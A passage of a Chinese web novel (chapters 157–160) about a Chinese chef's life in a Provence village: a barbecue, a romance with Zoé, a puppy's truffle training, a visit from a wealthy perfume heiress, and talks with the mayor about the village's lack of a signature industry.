“儿子,你把火升起来再走啊。” 罗南回头说: “爸爸还在忙,等下再点火吧。” 冯珍不悦的咂了一下嘴: “等他干什么?每次都是我烤啊。” 说完,她快速对罗南挤了几下眼睛。 罗南惊恐的瞪大眼睛。 不是吧妈妈.你来真的? 罗南从小到大吃妈妈做饭的次数都屈指可数,更没见过她烤串,担心母亲把户外厨房的第一顿饭搞砸,无奈只能留下来‘协助’。 没想到冯珍做饭真的有些天赋,第一次烤居然像模像样的,味道也不错.不过罗南觉得主要是普罗旺斯羊肉好的缘故,一会烤到蔬菜情况就很难讲了。 他暂时不打算离开这里,时刻准备去给妈妈‘救火’,见佐伊独坐在吊床上和小黑、马赛玩,罗南走过去笑着说: “这就是区别,你来我家全家上下热烈欢迎,我一去你家就被‘排挤’。” 该死的呼呼! 佐伊笑着打趣他: “是人的问题。” 罗南不服气的说: “马赛和小黑都很喜欢我。” 佐伊吃力的把马赛抱起,马赛的尾巴摇动的像是直升机的螺旋桨一样。 她得意的说: “但它们更喜欢我,不是吗?” “是是是,不管是人还是动物都喜欢你!” 罗南轻轻晃动了一下吊床的绳子,佐伊在空中微微摆动起来,像是童话故事里的‘花仙子’一样。 ‘花仙子’突然抬头,用迷幻一般的声音问: “真的吗?” 罗南低头看着她的眼睛说: “当然。” 这世界上会有人不喜欢佐伊这样的女孩吗? 瀑布般的金色长发自然垂下,衬托得她的脸庞更加精致美丽,眼睛犹如璀璨的星辰,即使不说话也像是在‘讲故事’,多看几眼便会不受控制的深陷其中。 笑的时候如春日里的阳光、怒的时候犹如一朵带刺的玫瑰、哀的时候世界仿佛也失去了颜色.她还心思细腻,她还博学多才,佐伊身上拥有一切让男人痴迷的东西。 傍晚的微风袭来,吹起佐伊的裙子,同时也吹起了少女的心弦。 她抬头看向罗南清澈明亮的眼睛,喜爱之情愈发难以控制。 几秒钟后,她用力抱紧怀里的马赛: “乖,今晚奖励你多吃几块肉。” “嗯?”罗南向前走了一步,距离佐伊更近了,不解的问,“为什么要奖励它?” 它做什么了? 佐伊用罗南的身体隔绝几米远外那十几个人的视线,抬手快速摸了几下罗南的下巴,咬着嘴唇、眼神灼热的说: “因为它有个会说话的主人。” 不要再勾引我了.我要控制不住的去扑你了! 【与异性发生亲密接触幸福度增加24点】 罗南又往前迈了一步,眼中满是欣喜。 小黑着急的在下面‘汪’了一声。 你们三个凑这么近是怎么回事? 有好事不带我? 小黑的叫声吸引了做饭那帮人的注意,他们纷纷向这个角落看来。 佐伊恢复了‘平静’状态: “你们三个都奖励。” 罗南:“???” 大艺术家佐伊说到做到。 她今晚又坐到了罗南旁边,不管不顾一桌人或喜或惊的眼神,不停照顾罗南吃东西。 罗南是撸串的老手了,但他吃的速度没有佐伊‘投喂’的速度快。 “佐伊,你也吃啊,是不和口味吗?”冯珍知道佐伊挑食,担心她吃不惯。 佐伊拿起自己面前的一把签子展示: “不是,非常好吃,我吃很多了。” 儿媳妇的肯定让冯珍的信心倍增,开心的说: “喜欢吃就常来,我给你做。” 弗雷迪吃的满嘴冒油: “说真的,中国人在饮食方面太厉害了,你们有那么多种烹饪方式,每一种都很好吃,我也可以常来吃饭吗?” “当然可以!”冯珍开心的点头。 阿兰一口肉一口蒜: “这种烹饪方式很适合普罗旺斯人,罗南,你的餐厅快点开起来吧,我想让它成为我的‘食堂’。” 吕贝隆本地村民没有在外面吃饭的习惯。 阿兰这句话几乎是对美食的最高评价了。 “大家想吃随时都可以来。”罗天海又拿了一把新烤的串过来。 路易是全场最幸福的人。 别人来罗南家蹭饭不合适,但看佐伊和罗南的相处状态,他和罗南马上就要成为一家人了.他可以光明正大的来吃饭了。 “我一定会经常来的!”路易兴奋的摇晃了几下脑袋。 “罗南,你这家伙做什么了这么香?我在家就闻到了.”特奥突然从树后伸出了脑袋。 “来来来,坐下一起吃吧。”罗南对特奥招手。 又过了一会,来看罗马柱的皮埃尔也出现了: “大家介意多加一副餐具吗?” “可以可以,快坐吧。”罗天海和冯珍提前开始体验餐厅生活。 老卡尔对罗南举起酒杯,笑着说: “罗南,我发誓你的餐厅绝对不愁顾客,即使在冬季也一定会人满为患的。” 第157章 荒唐的狩猎【月票3000加更】 不知哪天开始,普罗旺斯绿色的外皮上开始出现深黄色的斑纹,花草树木也停下了持续了几个月的蓬勃生长。 一切一切的自然信号都在提示居住在这片土地上的人——7月开始了。 农夫们不再去老酒馆喝酒,除了旅行高峰期带来的游客攻占了他们的快乐窝这个原因外,炎热的天气是另一个致命的原因。 7月开始,普罗旺斯进入了一年中最热的时期。 每天不到10点钟,气温就飙升到了30度以上,正午时分,蔚蓝的南法天空会变成炽烈的白色,高温天气和热情似火的游客狂潮把卢尔马兰营造成了一个‘炎热的地狱’。 罗南一家也随即调整了他们的作息。 罗天海和冯珍会跟着罗南一起在早上5点起床,把所有事情在10点钟前做完,下午4点前一家人绝不进行任何‘剧烈’的活动。 ‘剧烈’活动中自然也包括遛狗,罗南每天都要带小黑和马赛出去做足运动。 他可不想这些精力旺盛的优秀猎犬把他美丽的家拆了。 早上7点,罗南准时把小黑和马赛带出去。 小黑喜欢四处乱闻,马赛喜欢追逐松鼠.总之它们都有自己喜欢干的事情。 不过从某一天开始,它们喜欢的事物又多了一件。 罗南习惯去特奥家后面的那片缓坡遛狗,那里有一大片树林可以阻挡阳光,而且还能看到吕贝隆的美丽山谷。 两只狗得到愉悦的同时,罗南也可以有个不错的心情。 小黑带着它的小跟班马赛在前面肆意奔跑,罗南便跟在它们后面思考一会回去驴棚要做的事情。 他已经有了大致的餐厅装修思路,最近开始着手做家具了。 当他思考完今晚的工作内容,回过神来找狗时,发现丢失了两条狗的踪迹。 “小黑,马赛。”罗南在树林里喊了几声。 这两只狗很听话,无论跑出去多远一喊就回来。 不过这一次罗南一连叫了三声都没有看到一黑一灰的身影。 他加快了步伐,向着印象中最后看到它们的方向行进。 大约走了1分钟,终于看到了它们。 只不过两只狗的状态有点不对劲。 它们正用‘攻击状’紧张的盯着某个方向看。 小黑的前腿微曲,看起来蓄势待发,马赛身上的毛微微扎起,似乎看到了猎物。 罗南马上警惕的蹲下来,一人两狗呈三角形站位,这是打猎时很常见的队形。 皮埃尔说过,夏天大型动物经常来村子附近找水源或者偷西瓜吃。 难道前面有野猪或者其他大型动物吗? 不过罗南很快发现,他做了一件非常荒唐的事情。 他配合两条狗所狩猎的东西居然是一个‘红色塑料袋’。 罗南解除防备状态,但小黑和马赛依然在‘狩猎’状态中。 它们默契的向着那个‘红色塑料袋’前进,过程中两只狗还懂得交叉换位。 罗南跟在后面一边走一边笑。 这算是他们配合的第一次狩猎吗? 但这个猎物. “算了算了,就当拉练队伍了。” 拉近距离后,马赛和小黑开始围着猎物打转,同时以低吼和吠叫震慑目标,随时准备出击。 大约10秒钟后,‘猎物’终于被叫醒了。 罗南正想说‘对不起吵醒了你或者你们休息,但这里不可以露营,你们没看到外面的标志吗’,下一秒从红色帐篷里伸出来一只白花花的胳膊,胳膊尽头的手里还拿着一块香气四溢的熏肉。 “哦,不不不!”罗南发出了‘狩猎’开始后的第一声禁令。 罗南制止了游客对两只狗的投喂,但自那之后,小黑和马赛就对‘红色塑料袋’产生了莫名的情愫。 它们都是聪明的家伙,只经历了那一次便知道,‘红色塑料袋’的出现代表它们的大餐同时出现了。 马赛可能是年纪小的缘故,这个还不到三个月的小狗对所有红色的东西都产生了好感,无论是吃的、玩的还是人的衣服,见到红色就像是单身汉见到女人一样,拉都拉不住。 这不禁让罗南想到了一件事——在他衣柜的某个角落里,还有一双红色的袜子呢。 罗南是一个行动力很强的人。 当天下午4点,气温稍微降低一些后便开始了对马赛的培训。 给小黑进行第二轮松露培训时买的松露还留在家里,虽然已经成了干松露,但气味依然浓郁。 罗南切下来一小块喂给马赛,让它熟悉这种气味。 小家伙吃的很开心,不停对罗南‘微笑’,以示它对这种食材的喜爱。 罗南照例进行了一次动员。 他摸着马赛的脑袋说: “你哥哥已经废了,全家所有的希望都在你身上,学好了顿顿有肉,说不定我再给你找个纯种的老婆,学不好只能打一辈子光棍。” 马赛侧了一下脑袋,也不知道听没听懂。 在家里的时候一切还算正常,但罗南把它独自带门后,马赛的状态就不太好了。 小跟班没有了可跟的狗! 它蹲在门口一步不肯走,似乎在问: 小黑为什么不出来? 罗南叹了一口气。 把小黑带出来,它们两个只会玩,根本无法培训。 他又喂了马赛一块松露,之后把装有松露的袜子在它鼻子前晃了晃。 这一招居然管用了。 马赛离开了家,跟着罗南一起走到了葡萄园附近的空地。 罗南的心里终于有了底。 松露对马赛有致命的诱惑力,那么培训就有极大的可能成功。 他用力把袜子丢出去,马赛‘唰’的一下飞出去,不多时便扑在袜子上开始啃咬,想要吃里面的东西。 罗南喂了它一块面包,马赛稍作迟疑便放下袜子去吃面包。 “这次智商没有出问题!”罗南兴奋的拿起袜子,第二次丢出去。 马赛再次飞奔出去。 第一次培训的效果显著,虽然马赛还没有学会把袜子叼回来,但它知道去追,罗南也顺利的给了它几次奖励。 不过这种顺利没有持续太久的时间,当罗南第十几次把袜子丢出去后,无论他再如何用面包勾引,马赛都不撒口了。 它用力撕咬那个袜子,拿出一副不吃到嘴不罢休的架势。 罗南想去拿袜子,马赛就把袜子叼走,换个地方继续撕它。 皮埃尔只教了罗南‘袜子’大法,但他没教罗南如何处理这种‘突发情况’,罗南只能一边大喝让马赛松口,一边去抢。 一人一狗拉扯了两下,马赛突然松开袜子,抬着一只前腿如杀狗般嚎叫起来。 罗南以为它扎到了脚,但检查了半天没有看到任何伤口。 马赛的叫声极富有穿透力,它在家里叫,几百米外的特奥家都能听到动静,不一会这凄厉的叫声就把罗天海和冯珍吸引了过来。 “它怎么了?”冯珍跟罗南一样第一反应是查看马赛的前腿。 罗南皱着眉毛说: “不知道,突然就叫起来了。” 罗天海把马赛抱起来,紧张的向弗雷迪家走: “你肯定是伤到它了,它还这么小,你着什么急?” 罗南无语的指着自己说: “我伤到它?我根本就没碰到它的腿” 经过动物大师弗雷迪的鉴定,马赛既没有伤到皮肉,也没有伤到骨头,唯一的可能是伤到了筋,这是由于遭到过‘暴力对待’导致的。 自那之后罗南就成了罪人,连佐伊都说他‘太过分’了。 罗南有苦不说不出,只能吃下这个哑巴亏。 不过他确实挺自责的,因为马赛伤的很重,一连几天它都翘着一条腿走路,似乎被截肢了似的。 “你现在对它好有什么用?它已经被你弄瘸了!”冯珍见罗南小心翼翼的给马赛梳毛,气不打一处来。 罗天海皱着眉毛检查马赛始终翘着的那条腿: “怎么还不好?不会落下残疾了吧?” 罗南心情复杂的说: “再不见好转,我就带它去阿普特,找一个可以拍X光的宠物医院看看。” 冯珍摔摔打打的说: “你就不该眼红,别人有松露犬你也得有?要是按照这个道理,卢尔马兰家家都有美丽的大院子了。” “我就是突然想到家里有一双红色袜子,想试试。”罗南无力的反驳。 冯珍阴阳怪气的说: “你快自己留着本命年穿吧。” 罗南:“.” 我是亲的还是狗是亲的? “行了,别说罗南了,他心里肯定也不舒服。”罗天海岔开话题,“车上还有没搬完的菜,你快出来跟我一起去拿。” 冯珍指着罗南说: “好好反思吧你!” 罗南摸着躺在地上的马赛肚子说: “对不起啊.” 几分钟后,冯珍在外面喊: “罗南出来帮忙,今天买的东西太多了。” “好嘞。”罗南打开门,出去搬了一箱番茄。 后院的活儿进入了尾声,为了犒劳卡福他们今天罗天海要给他们做一顿丰盛的大餐。 罗南刚把番茄放到地上,一道钢灰色的残影便飞驰过来,围着它们不停的闻。 三口人同时愣住了。 “马赛?!”冯珍和罗天海声音尖锐的喊。 罗南气的抡起胳膊: “狡诈的马赛犬!看我怎么教训你!!” “哎呀,你别打它啊!再真给它打瘸了!”冯珍和罗天海牢牢的拉住罗南,阻止他使用暴力。 三个人乱成一团之际,小胖子康奈尔气喘吁吁的跑进来: “罗南罗南,那个美丽的女士来卢尔马兰了!” 第158章 《罗密欧与朱莉叶》 罗南没有特意去打听阿斯特丽德来卢尔马兰的细节,但从七嘴八舌的农夫们嘴里了解了个七七八八。 这些人认识阿斯特丽德的保时捷豪车,也知道她上一次出现在卢尔马兰是来罗南家吃晚饭,于是听到或见到阿斯特丽德再次开着她的保时捷出现,不顾太阳的火烤马上来罗南家集合了。 “她今天穿的百合色露肩裙,手里拿了一个金色小手包,脸上戴了一个和戛纳明星一样的墨镜,我看到她下车时以为明星来了!” “头发是盘起来的!不过还是一样的华贵” “盘起来的?不是自然披下的吗?还有她穿的是香槟色礼裙啊。” “你到底看没看到她?” “我没看到啊,听说的,你亲眼看到了?” “我也是听说的.她下车马上进了政府大楼,那么短的时间,我还没跑过去呢。” 罗南坐在沙发上,喝了一口水: “所以阿斯特丽德来卢尔马兰是去了政府?” 他终于在凌乱的信息里找到了一点有用的东西。 “对!”这次所有人都点头了。 康奈尔焦急的问: “她来之前有跟你说吗?” 罗南做了一个夸张的惊吓表情: “当然没有,我和她一点都不熟。” 康奈尔像泄了气的皮球一样失望的说: “我还以为她是来找你的.” 这样我就可以近距离接触她了。 罗南双腿交叠,摸着下巴思绪纷涌。 阿斯特丽德住在拉克斯特村,她为什么要来卢尔马兰政府呢? 这两者没有任何交集啊 结合最近村里发生的事情,罗南发现了一个可能性——是为了那个商业街项目! 这个猜测让罗南又惊又喜。 卢尔马兰政府不仅在对内招商,也同时对外部招商,只不过本村村民拥有更大的优惠补贴罢了。 所以是阿斯特丽德,或者她身后的家族觉得卢尔马兰商业街有发展吗? 如果真是这个原因就太棒了! 通过前两次的见面观察,罗南认为阿斯特丽德可以掌握普通老百姓掌握不到的消息难道卢尔马兰要‘腾飞’了吗? 法比安指了指门外,问罗南: “你不去政府看看情况吗?” 法比安这个家伙同样对阿斯特丽德充满了好奇和神往,只不过他有家庭,不敢像康奈尔那么赤裸罢了。 他们这帮人即使去了政府门口,也只能远远的看着。 但如果罗南去了,他们就可以有合理的理由和阿斯特丽德近距离接触了。 ‘你好美丽的女士,我是罗南最好的朋友,认识一下怎么样?’ 乡野村夫和贵族女人怎么就不能有故事了呢? 说不定现代版的《罗密欧与朱莉叶》就要在普罗旺斯上演了! 罗南离开沙发,走向厨房区域: “不去,她是来办事的。” “去和她打个招呼啊!”高温和兴奋让康奈尔的皮肤像晒过太阳的英国佬一样火红。 罗南看到他红色的皮肤更抗拒了: “你自己去吧康奈尔,快向她展示一下你的‘易红’体制,她一定会喜欢的。” “去吧罗南.求求你了。”康奈尔双手攥拳放于胸前,用祈求的声音说。 “不去不去,要吃饭了。”罗南大声对楼上喊,“妈妈,我们今天中午吃什么?” “介意多一个人吃饭吗?” 众人齐齐扭头,看到一个穿着白色拖地裙,头戴黑色大檐礼帽的女士慵懒的靠在罗南家的大门上。 康奈尔一副自己被背叛了的样子,用唇语问罗南: “还说你们不熟?!” “办完事发现到了午饭时间,本想在路边随便找个餐厅,但我突然想到——”阿斯特丽德把杯子里的冰镇粉红酒一饮而尽,“卢尔马兰不是有一个最好的厨师吗?” “欢迎欢迎。”罗南在厨房里‘忙得不可开交’,生怕阿斯特丽德和他聊些污言秽语。 父母在家,窗边和门口一定有偷听的村民,他不想在卢尔马兰士失去做‘人’的权利。 “没有打扰到你吧?我不知道你父母来了。”阿斯特丽德看着厨房窗外的风景问。 “没有打扰,我家平时也经常来人。”罗南挤出一个虚假的笑容。 女士,幸亏我家有人,否则我是不会把你放进来的。 你知道你自己有多‘危险’吗? “麻烦了。”阿斯特丽德礼貌的点了下头,拿着酒瓶子离开。 罗南把她叫住: “还要吃辣的东西吗?” 阿斯特丽德笑的像是一朵招摇的白玫瑰: “当然,我无‘辣’不欢。” 阿斯特丽德是一个很‘纯粹’的人。 在粉红酒爱好者协会上只专心喝酒,说是来罗南家吃饭就认认真真的吃饭,全程除了偶尔和罗南父母说两句感谢的话,其他时候一言不吭。 罗南很少下厨,只在招待重要客人的时候他才亲自上阵。 罗天海和冯珍见今天罗南主动做饭,知道家里来的是一个重要的客人,所以他们用最快的速度吃完午饭,把整个一楼留给罗南和阿斯特丽德两个人。 “你是来看商业街的?”罗南见气氛太过安静,主动挑起话题。 阿斯特丽德优雅的插了一块‘辣子鸡’放到嘴里: “家里的老家伙们不想奔波,让我来看看。” 罗南点点头,果然如他猜测的那样,是阿斯特丽德的家族看上了这里。 “定了?”罗南期待的问。 阿斯特丽德摇头: “没有,不太合适。” 罗南有一丝失落。 看来他只猜对了一半,阿斯特丽德的家族并没有拿到什么‘内部消息’。 “为什么不合适?你们想开什么店?”罗南有些好奇阿斯特丽德家是做什么的,粉红酒协会里的人对此也并不了解。 “皮具。”阿斯特丽德面无表情的说。 “咳咳咳——”罗南赶紧喝了一口酒压惊。 该死的,祖传‘手艺’?! 阿斯特丽德笑的前仰后合,放下餐具擦了擦嘴: “你相信了?” 罗南无奈的叹了一口气,没有探究真假的心情了: “我在那里订了一个商铺开餐厅。” 就像阿图尔说的,罗南餐厅开业的时候游客大军已经离开普罗旺斯,想要在冬季有顾客要利用他的‘朋友圈’了。 阿斯特丽德对中餐的接受度很高,有必要要告诉她这个消息。 “我知道。”阿斯特丽德慵懒的拿起酒杯,“刚刚他们想用你的案例说服我签约。” “但说服失败了。”罗南耸肩。 阿斯特丽德喝了两口粉红酒: “也许那确实是一个不错的选择,但他们拒绝了我的合作提议。” “你想要如何合作?”罗南疑惑的问。 卢尔马兰和布兰科都不是迂腐的人,他们对合作的态度非常开放,直接把你拒绝了? 阿斯特丽德不愿说太多细节,只是简单解释道: “我们想连同那个博物馆一起买下来,但卢尔马兰政府拒绝了,他们想自己经营博物馆。” 罗南惊的直撇嘴。 商业街尽头的博物馆是他餐厅的十倍大。 做为外村人,享受不到任何政府补贴还想连博物馆一起买下来,这是多有钱啊? 法国的贵族们不是衰败了吗? 抛开阿斯特丽德的个人生活不谈,她肯定是罗南能接触到的最‘高层’人物,比会长伊内斯和那些沃克吕兹省公务员更加‘高层’的人物。 罗南忍不住向阿斯特丽德请教: “你觉得我应该如何运营我的餐厅?你知道的只靠好手艺还远远不够。” 在一个多月前的‘沃克吕兹省粉红酒爱好者协会’聚会上,每一个人都给了罗南经验之谈,只有阿斯特丽德什么都没说。 阿斯特丽德用手撑住脑袋: “我不懂什么经营,但想在一个地方立足要学会‘借势’和‘借力’,鲁西永四周都是赭土矿石,所以那附近的赭土产业发达,索格岛是欧洲旧物交易中心,所以那里遍布古董店,你问我不如去问问你的政府,卢尔马兰要走什么‘特色’之路?” 罗南细细品味这段话后,苦涩的砸了下嘴: “无论卢尔马兰决定走什么特色之路,都肯定不会是中餐。” “那你就找别的事情做吧。”阿斯特丽德语气蔫蔫的说。 罗南笑着摇头: “但我已经签约了。” “那我就没办法了。”阿斯特丽德拿起她的黑色礼帽,“谢谢款待,我该走了。” 罗南送阿斯特丽德离开,在门口蹲守的农夫们见他们出来,不停对罗南挤眉弄眼,似乎在说: 快给我们一个登场的机会啊! 罗南实在没办法,在阿斯特丽德开车离开前,语气复杂的说: “我的朋友们想和你打个招呼。” 阿斯特丽德呵呵笑了几声,撩起大大的帽檐,以便能看到罗南的脸: “不是随便一个人都配让我拿出皮具的。” 在罗南家门口,她听到了一部分他们的谈话内容。 她抬头,继续对车外的罗南说: “不过我家可以有一个让我吃得开心的厨师。” 阿斯特丽德离开后,罗南顶着太阳去了政府。 “人家都走了,你现在去政府干什么啊?”法比安苦闷的说。 阿斯特丽德和罗南说的话他们都听到了。 该死的! 连做‘奴隶’的资格都没有吗? “问正事!”罗南加快了脚步。 阿斯特丽德虽然没有给出他什么实际性的建议,但她确实给罗南提了醒。 鲁西永有赭土矿石,索格岛有旧物交易中心,但卢尔马兰的有什么呢? 第159章 法国另一个支柱产业 罗南一进政府办公楼就得到了热情的接待。 “有什么事吗,罗南先生?”一个打算去卫生间的工作人员见罗南来了,顾不上自己的个人问题,快步迎了上去。 他不是负责接待的人,但罗南是政府上上下下全部很重视的村民。 “布兰科在吗?”罗南问。 那工作人员一愣。 他只是一个小小的文员哪里知道村长在干什么? “我先把您带去接待室,然后帮您确认一下。”他给出了合理建议。 “好的,谢谢。”罗南礼貌的说。 安顿好罗南,那工作人员忍着小腹不适敲响了市场管理中心的办公室门。 “希尔维,罗南来了。” 这位员工无法直接确认村长的动向,但希尔维可以。 而且罗南和政府的合作是商业街项目,由市场管理中心接待他正合适。 希尔维抬头意外的问: “他在哪里?” 罗南是商业街招商的‘利器’,她正想找机会和罗南聊聊。 “在接待室。”那位工作人员如实说道。 “我马上去找他。”希尔维立即站起来。 “但他问村长在哪里。”工作人员继续介绍情况。 希尔维的脚步一顿: “他可能是想问商业街的进展情况,我先去见他。” 布兰科每天公务繁忙,不能什么小事都找他。 这样显得他们这帮办事的人太不得力了。 希尔维随着那位工作人员一起离开办公室。 路上,她突然想了什么,对那位同事说: “可以帮我去给罗南倒杯咖啡吗?” 罗南是卢尔马兰村最重要的村民,绝不能怠慢,但布兰令禁止在政府办公楼里出现酒这种东西,只能退而求其次的给罗南准备咖啡了。 那位好心的工作人员纠结了一下,答应了下来: “好的。” 只是倒一杯咖啡,很快的! 可以忍一忍再去卫生间。 在茶水间里,这位工作人员又意外遇到了在泡咖啡的布兰科。 虽然希尔维已经去接待罗南了,但他还是对布兰科说: “村长,罗南先生来了。” 不等他继续说后面的话,布兰科紧张的问: “罗南来干什么?” “不知道,但希尔维去接待他了,在接待室。” 布兰科马上放下杯子: “我去看看。” 那人拿起一个干净的咖啡杯,叹了一口气: “罗南先生果然好大的面子,我还没有说他要找你呢.” 下一秒,布兰科又出现在了茶水间,指着他说: “你去找一瓶粉红酒,要冰镇的,用最快的速度送过去。” 那位工作人员愣在原地。 政府办公楼里哪有冰镇的粉红酒啊? 而且我真的憋不住了! 罗南不知道哪里出了问题。 他找的是布兰科,但来的却是希尔维。 但这个之前对他多加‘刁难’的丰腴女人一改常态,一进来就对他嘘寒问暖,还像对待领导一样给他介绍了商业街的施工进展搞的罗南暂时不好意思再提布兰科的事,只能和她热情的攀谈起来。 “施工进度一切正常,再有20天你就可以拿到餐厅钥匙。”希尔维回头看了一眼接待室的门。 怎么还不把咖啡送来? 不知道这是卢尔马兰最重要的村民吗! 她不得不继续给罗南‘汇报’工作: “11栋楼里招商出去了5栋,全部是本村村民,这都要感谢你。” “感谢我?”罗南无辜的眨了眨眼,“可我什么都没做啊.” 希尔维一副‘你这孩子太谦虚了’的表情: “村民们说他们是听了你说商业街一定会赚钱才动心的,你这样默默替政府办事我们非常感激。” 罗南摊开手掌用力揉了几下脸。 卢尔马兰村里的谣言太离谱了。 这又是谁替他‘说’的? 罗南看了一眼墙上的时间,指着门口问: “布兰科在忙吗?” 希尔维支支吾吾的说: “是的,村长在处理重要的事。” 话音刚落,布兰科推开接待室的大门。 他高举手里的两个空酒杯,兴奋的说: “看看我找到了什么?我的办公室里居然有两个酒杯!” 看到空空如也的桌子,他马上垮下脸来,小声嘟囔: “还没送来吗?” 罗南疑惑的看向希尔维。 这就是你说的重要的事? 希尔维嘴角抽动的说: “布兰科每天要忙的事情太多了” 又是一道开门声出现,那个工作人员‘内八’着小跑进来,放下粉红酒立马转头离开,不给任何人对他发号施令的机会。 “他怎么了?”罗南疑惑的问。 希尔维嘴角抽动的幅度更大了,她干笑了几声: “呵呵呵呵,可能有事情要忙吧,大家都挺忙的。” 上帝啊,怎么出现了这么多‘怪’东西? 下一秒,希尔维的嘴角抽动症转移到了瞳孔。 布兰科把粉红酒打开,倒到两个杯子里,用开玩笑的语气对罗南说: “我上午还在想,要找个时间去你家喝两杯,卫生间看过了,但还没有机会参观你家的漂亮院子。” 罗南笑着接过酒杯: “你可是在戛纳工作过的电影人,还能没见过好看的院子?” 布兰科坐下来,享受的喝了一口粉红酒: “那不一样,戛纳没有吕贝隆的美丽风景今天来有什么事?” “我想咨询你个事情。”罗南的表情严肃下来,“卢尔马兰有什么特色的东西吗?” 布兰科笑着看了一眼希尔维: “我们的‘特色’是你啊罗南,媒体采访时都是拿你做卖点的。” 罗南摇头: “不是这个特色,鲁西永有赭土矿石,索格岛有旧物交易中心.卢尔马兰有什么特色产业吗?” 布兰科的笑容瞬间消失,郑重无比的问: “你想了解什么?” 罗南的食指在桌子上有节奏的敲击起来: “今天和一个朋友聊天,她提醒我,那些普罗旺斯的‘明星’村庄似乎都有一个非常重要的支柱产业,再发散一些想,世界蜜饯之都阿普特、甜瓜之乡卡瓦永但卢尔马兰没有类似的‘名号’。” 罗南走过了许多普罗旺斯的知名乡村和城镇,每个地方都能讲出许许多多的故事,但来的路上他不停问自己,如果给别人介绍卢尔马他会说什么呢? 这里有什么特色的作物吗? 这里有什么特色的美食吗? 这里有什么特色的石材吗? 没有卢尔马兰什么都没有。 希尔维震惊的看向布兰科。 罗南怎么会知道我们最‘核心’的痛点? 这一直是卢尔马兰避而不谈,但又从未放弃解决的关键问题。 布兰科的表情从未这么严肃过: “你说的很对,卢尔马兰没有名号,这是我们最大的问题。” 他用手指沾了一点粉红酒,在桌子上画起卢尔马兰的地形图: “我的北侧是吕贝隆山脉、南侧有新石器时代遗迹、西侧有石灰岩矿坑、东侧是一片松叶林,但这些自然风光都不在卢尔马兰的范围内。” “村民在这片山谷里培育葡萄、橄榄和樱桃,但这些作物和其他种植区域相比没有过人之处,村子里的大部分年长女性会做绣被,可绣被是马赛的传统技艺.我们依然无法将它作为卢尔马兰的特色。” 布兰科苦涩的说: “在卢尔马兰,我们找不到‘我有他没有’或者‘唯一’的东西。” “但我们从未放弃过寻找或者‘制造’。”希尔维看着罗南说,“商业街上的博物馆就是我们的其中一次努力。” 布兰科接过这个话题,继续给罗南解释: “整条商业街都可以私有化,唯独那个博物馆不行,我们希望把它和卢尔马兰的未来紧密联系上,在它明年正式竣工前,我们会确定一条‘特色’道路并做一轮发展尝试。” “所以你们拒绝了阿斯特丽德的合作提议。”罗南终于把事情串联起来了。 布兰科不明所以的看希尔维。 希尔维给他解释: “上午来了一个实力买家,希望同时购买商铺和博物馆,我拒绝了。” 布兰科点点头: “那确实不可以卖。” “你们现在有什么方向吗?”罗南问。 阿斯特丽德提醒他,想要赚大钱要学会借势,如果布兰科他们现在有些眉目了,他可以提前开始做些准备。 布兰科笑着摇头: “没有,所以我那天问你有没有什么好的建议。” 罗南双手抱胸,呈思考状: “还有时间,如果有什么好的方向我会随时找你们的。” 他现在和卢尔马兰是‘共同利益体’。 即使借不上势,他也希望卢尔马兰能发展的越来越好,这样他的餐厅才能火爆。 罗南出政府大门的时候手里拎了一个酒瓶子,布兰科逼着他必须带走,罗南无奈只好答应下来。 分别前,他问希尔维: “阿斯特丽德有说她要买下博物馆和商铺做什么吗?” 不会真的是卖皮具吧? 这没有什么不能说的,希维尔告诉罗南: “香水,她希望做一个香水主题博物馆。” 罗南挑了一下眉毛: “她家居然是做香水生意的” 法国被誉为‘香水王国’,香水是法国非常重要的一个产业,而普罗旺斯正是法国香水的发源地。 见罗南似乎对香水行业感兴趣,布兰科给他科普道: “16世纪,皮革业是法国的主要产业,为了改善皮革的味道,工匠们开始制造香精,香水业逐渐繁荣了起来,所以现在在法国做香水的企业,几百年前都是做皮具的。” 罗南的手里的酒瓶子险些被甩出去。 这都能联系上 还真是做皮具的? 第160章 自然之美 随着罗南和佐伊的关系日益亲密,维埃里已经抢不到罗南晚上的时间了。 他们一个月可以出去‘夜游’十几次,剩下的十几个夜晚是属于聚会的,罗南没有一刻属于他。 短时间这样还可以,时间一长维埃里的心里开始不平衡,直接受害人就是佐伊。 这个该死的弟弟总是用各种事情气她。 为了路易家的家庭和睦,罗南不得不在早上偶尔挤出一些时间来陪维埃里。 “天气这么热,你要早上陪维埃里去踢足球?维埃里疯了,你也疯了吗?” 早上6点半,佐伊居然在家门口看到了罗南。 罗南安慰她说: “其实维埃里的要求很简单.只是陪他踢一会足球就够了。” 维埃里抱着足球跑出来: “没错,30分钟就可以!” 罗南笑着对佐伊挥手告别: “我们很快回来。” 卢尔马兰的商业化不发达,旅游基础设施落后,但这里有一个现代化的小型体育场。 不只是卢尔马兰,几乎普罗旺斯每个小型村庄里都有一片专门进行体育活动的场地,虽然规模参差不齐,但有一个相同之处是——一定会有一块二三十米长、由坚硬的泥土和石块混合成的平地。 如果是有钱的大村子,那块平地的两侧还会有茂密的林荫或整齐的梧桐。 这种专业的场地,是给一项从普罗旺斯流传到全世界的运动——滚球准备的。 每次晚上出来,罗南和维埃里都会在这片泥土平地上踢足球。 不知是不是由于他们改变了踢球时间,今天来的时候这里正有几个人在玩这种普罗旺斯‘国民’运动。 滚球历史悠久,可以追溯到中世纪到古罗马,甚至更早的古希腊。 早期的滚球,就像木质的网球或者山核桃做的高尔夫球一样,它们外形非常美观,但是也有缺点——由于是人工制作,形状难免或凹或凸不够规整,一旦触地容易偏离正确的方向。 但在滚球游戏中,胜负都是毫厘之间,因为球不圆输了想想就让人生气不已,在18世纪前的法国,滚球不知酿出了多少球场斗殴,甚至有人为此丧失了生命。 为了规范化这项运动,法国人开始用机械制造滚球,材质也改为钢。 然而,这并不意味着球场上的‘争斗’就此消失。 就比如今天早晨,罗南和维埃里亲眼目睹了一场‘惨绝人寰’的争斗。 滚球比赛的规则很简单,先投出一个母球,之后双方轮流投掷金属球,可以互相攻击,最终看哪一方距离母球的距离更近,哪一方就获胜。 因此投掷顺序至关重要,后手会有一定的优势。 而这一次的‘球场斗殴’从投掷硬币便开始了。 首先,先介绍一下双方选手。 左侧是由两名7、8岁孩子组成的临时队伍,为什么说是临时队伍呢,因为有一个小孩是从旁边的土坑里征召来的,普罗旺斯的每一个人都会这种运动,无论是大人还是孩子,我们暂且叫这支临时队伍为小孩队。 右侧是由两个60多岁的老头组成的队伍,我们暂时叫他老头队。 决定投掷顺序的硬币是老头队提供的,因为小孩队没有钱。 其中一个老头队成员把硬币高高掷起,落到手心后他将手掌提拉到比小孩队最高选手还要高10几厘米的地方: “你们先手。” 